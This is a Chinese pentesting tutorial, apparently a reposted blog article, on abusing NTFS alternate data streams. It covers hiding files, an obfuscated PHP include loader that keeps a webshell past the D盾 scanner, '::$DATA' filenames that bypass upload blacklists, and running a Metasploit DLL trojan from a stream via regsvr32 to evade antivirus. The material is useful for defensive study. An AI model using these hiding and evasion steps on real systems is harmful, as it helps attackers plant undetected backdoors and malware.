Windows ADS在渗透测试中的妙用

admin 2022年12月23日05:00:50安全文章评论11 views2073字阅读6分54秒阅读模式

Windows ADS在渗透测试中的妙用前言


NTFS交换数据流(Alternate DataStreams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上。利用ADS数据流,我们可以做很多有趣的事情,同时对于企业安全来说这类问题也隐藏着巨大的风险。本文主要讨论利用方式以及如何防御这类攻击。

利用方式

文件隐藏

在NTFS分区创建ADS数据流文件有两种形式:一是指定宿主文件;二是创建单独的ADS文件。常用的创建命令有两个:echotype ,echo用于输入常规字符,type则用于将文件附加到目标文件,此类用法通常为CTF出题时候使用。


指定宿主文件


这类情况可以使用命令


echo 9527 > 1.txt:flag.txt 

创建目标文件:


Windows ADS在渗透测试中的妙用


正常情况文件无法查看到,可以使用命令:


 dir /r

文件内容可以使用命令notepad 1.txt:flag.txt 进行查看和编辑 查

看到文件名:


Windows ADS在渗透测试中的妙用


文件内容可以使用命令:


notepad 1.txt:flag.txt

进行查看和编辑:


Windows ADS在渗透测试中的妙用


此类文件可以通过直接删除宿主文件清除。


单独的ADS数据流文件


这类可以通过命令


echo hide > :key.txt 

来进行创建:


Windows ADS在渗透测试中的妙用


创建之后在目录下无文件,也没有依赖的宿主文件,并且此类文件在当前目录命令行下是无法查看的,因为它是依赖于文件夹的ADS数据流文件:


Windows ADS在渗透测试中的妙用


因此需要退到上级目录进行查看:


Windows ADS在渗透测试中的妙用


使用命令:


notepad test:key.txt

可以进行编辑:


Windows ADS在渗透测试中的妙用


像这类文件的清除一种是通过删除文件夹的方式,但是假如这个文件是创建在系统根目录如何进行处理,此时需要用到WinHex   Tools – Open Disk功能。


Windows ADS在渗透测试中的妙用


选中目标盘符,找到目标文件夹。


Windows ADS在渗透测试中的妙用


可以进行查看:


Windows ADS在渗透测试中的妙用


如需删除只需在WinHex选中之后按Delete即可。

webshell后门

由于windows xp之后的系统对于ADS文件都没有执行权限,因此隐藏此类webshell需要用到文件包含来进行配合。

首先创建被包含文件index.php:s.txt。

内容为:


<?php phpinfo();?>


Windows ADS在渗透测试中的妙用


然后参考:https://blog.csdn.net/nzjdsds/article/details/81260524的方法,Hex之后通过利用PHP 可变变量进行二次转换,696e6465782e7068703a732e747874index.php:s.txt的hex编码,最终test.php中内容如下:


<?php

$a="696e6465782e70"."68703a732e747874";

$b="a";

include(PACK('H*',$$b))

?>


访问test.php即可:


Windows ADS在渗透测试中的妙用


使用最新版D盾扫描也无法发现问题。


Windows ADS在渗透测试中的妙用


PS:这边另外补充一点,文件最好寄宿在纯静态文件,因为像php文件修改后会改变属性,系统层相当于生成了一个新的文件,导致ADS文件失去宿主而消失。

文件上传

这一块主要是用于Bypass上传黑名单验证,因为在我们上传数据流文件时,形如test.php::$DATAtest.php:a.txt这样的后缀,windows系统必定需要创建一个对应的宿主文件test.php,同时假设我们需要上传的文件内容为:


<?php phpinfo();?>

下面是上传是会出现的现象:


上传的文件名 服务器表面现象 生成的文件内容
Test.php:a.jpg 生成Test.php
Test.php::$DATA 生成test.php <?phpphpinfo();?>
Test.php::$INDEX_ALLOCATION 生成test.php文件夹  
Test.php::$DATA.jpg 生成0.jpg  <?phpphpinfo();?>


可以注意到上传文件名为Test.php::$INDEX_ALLOCATION时会生成对应的文件夹,利用此种特性也可以用于突破UDF提权时遇到无法创建文件夹的问题。


Windows ADS在渗透测试中的妙用


病毒免杀

前面提到过在windows xp 03之后的版本的数据流文件都被禁止了执行权限,因此可以使用wscript来运行vbs,此处在C盘根目录使用命令:


type1.vbs > :2.vbs

创建了依赖C盘存在的数据流文件c::2.vbs ,没有工具正常是无法清除的。

使用命令:


wscript c::2.vbs

可以成功执行vbs。


Windows ADS在渗透测试中的妙用


当然我们今天主要是来测试病毒免杀的,所以首先使msf生成

一个dll木马。


Windows ADS在渗透测试中的妙用


很容易就被确认为病毒。


Windows ADS在渗透测试中的妙用


使用命令:


type test.dll > 1.txt:ms

将dll写入数据流文件:


Windows ADS在渗透测试中的妙用


再次使用360网完全体进行查杀,无法发现此类木马。


Windows ADS在渗透测试中的妙用


使用命令:

regsvr32 1.txt:ms

运行dll,当然由于病毒行为太明显没作处理,360还是会动态查杀的,这个配合一点其他的免杀技术完全过掉也不难,这边不再多做赘述。


Windows ADS在渗透测试中的妙用


小结

目前杀毒软件和webshell查杀对ADS数据流技术的查杀支持并不是很好,并且木马可能进行依赖于盘符的驻留方式,希望能本文能有所帮助。


Windows ADS在渗透测试中的妙用


本文始发于微信公众号(疯猫网络):Windows ADS在渗透测试中的妙用

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月23日05:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Windows ADS在渗透测试中的妙用 http://cn-sec.com/archives/511597.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: